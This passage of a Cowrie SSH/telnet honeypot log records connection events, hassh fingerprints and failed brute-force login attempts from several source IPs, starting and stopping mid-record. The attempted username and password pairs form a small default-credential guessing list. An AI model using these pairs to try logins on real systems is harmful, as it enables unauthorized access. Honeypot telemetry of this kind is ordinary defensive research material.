a2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:13.050949Z","src_ip":"91.92.40.153","session":"5ef72347aa86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:14.444005Z","src_ip":"91.92.40.153","session":"5ef72347aa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:15.887329Z","src_ip":"91.92.40.153","session":"5ef72347aa86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:16.028794Z","src_ip":"139.99.74.35","session":"ca022d034b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":40340,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f57ee20ba1","protocol":"ssh","message":"New connection: 139.99.74.35:40340 (159.203.135.109:22) [session: 36f57ee20ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:16.261339Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"cec758984acf","protocol":"ssh","message":"New connection: 91.92.40.153:41564 (10.17.0.5:22) [session: cec758984acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:18.848985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:19.277309Z","src_ip":"91.92.40.153","session":"cec758984acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:19.293073Z","src_ip":"91.92.40.153","session":"cec758984acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51812,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dbd26a2f6c6","protocol":"telnet","message":"New connection: 170.64.224.25:51812 (159.203.135.109:23) [session: 9dbd26a2f6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:20.351663Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:20.473776Z","src_ip":"91.92.40.153","session":"cec758984acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.48421335220337,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:21.336026Z","src_ip":"170.64.224.25","session":"cc7691dc0c06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:21.759742Z","src_ip":"91.92.40.153","session":"cec758984acf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:22.130214Z","src_ip":"139.99.74.35","session":"36f57ee20ba1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:22.133371Z","src_ip":"139.99.74.35","session":"36f57ee20ba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00373983383179,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:24.431277Z","src_ip":"107.6.151.170","session":"f9aefc2e607b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43390,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd6252b4eb70","protocol":"ssh","message":"New connection: 91.92.40.153:43390 (10.17.0.5:22) [session: bd6252b4eb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:24.555228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:24.871739Z","src_ip":"91.92.40.153","session":"bd6252b4eb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:24.879573Z","src_ip":"91.92.40.153","session":"bd6252b4eb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:26.514655Z","src_ip":"91.92.40.153","session":"bd6252b4eb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:28.366473Z","src_ip":"91.92.40.153","session":"bd6252b4eb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":39726,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d8f1ed4425","protocol":"ssh","message":"New connection: 160.187.174.22:39726 (159.203.135.109:22) [session: 73d8f1ed4425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:28.647456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:28.652473Z","src_ip":"160.187.174.22","session":"73d8f1ed4425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:28.904914Z","src_ip":"160.187.174.22","session":"73d8f1ed4425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:29.630991Z","src_ip":"160.187.174.22","session":"73d8f1ed4425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43436,"dst_ip":"10.17.0.5","dst_port":22,"session":"0492a7e78f5b","protocol":"ssh","message":"New connection: 91.92.40.153:43436 (10.17.0.5:22) [session: 0492a7e78f5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:30.335243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:30.675285Z","src_ip":"91.92.40.153","session":"0492a7e78f5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:30.679524Z","src_ip":"91.92.40.153","session":"0492a7e78f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:30.883245Z","src_ip":"160.187.174.22","session":"73d8f1ed4425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":32840,"dst_ip":"159.203.135.109","dst_port":23,"session":"37dc171c1b4e","protocol":"telnet","message":"New connection: 170.64.224.25:32840 (159.203.135.109:23) [session: 37dc171c1b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:31.766209Z"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"redhat","message":"login attempt [admin1/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:32.187923Z","src_ip":"91.92.40.153","session":"0492a7e78f5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":85.16634321212769,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:33.183097Z","src_ip":"170.64.224.25","session":"9683b2f9a00e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:33.533798Z","src_ip":"91.92.40.153","session":"0492a7e78f5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":46904,"dst_ip":"10.17.0.5","dst_port":22,"session":"0089c5399c20","protocol":"ssh","message":"New connection: 91.92.40.153:46904 (10.17.0.5:22) [session: 0089c5399c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:37.098581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:37.162907Z","src_ip":"91.92.40.153","session":"0089c5399c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:37.231650Z","src_ip":"91.92.40.153","session":"0089c5399c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:37.824356Z","src_ip":"91.92.40.153","session":"0089c5399c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:39.000362Z","src_ip":"91.92.40.153","session":"0089c5399c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39202,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3d47411869","protocol":"telnet","message":"New connection: 170.64.224.25:39202 (159.203.135.109:23) [session: fc3d47411869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:39.945333Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":40860,"dst_ip":"10.17.0.5","dst_port":22,"session":"b066d7e5dd53","protocol":"ssh","message":"New connection: 91.92.40.153:40860 (10.17.0.5:22) [session: b066d7e5dd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:43.347614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:43.426430Z","src_ip":"91.92.40.153","session":"b066d7e5dd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:43.510213Z","src_ip":"91.92.40.153","session":"b066d7e5dd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootrootroot","message":"login attempt [root/rootrootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:43.972022Z","src_ip":"91.92.40.153","session":"b066d7e5dd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:45.179878Z","src_ip":"91.92.40.153","session":"b066d7e5dd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":40892,"dst_ip":"10.17.0.5","dst_port":22,"session":"154393ab5f1b","protocol":"ssh","message":"New connection: 91.92.40.153:40892 (10.17.0.5:22) [session: 154393ab5f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:49.324214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:22:49.376829Z","src_ip":"91.92.40.153","session":"154393ab5f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-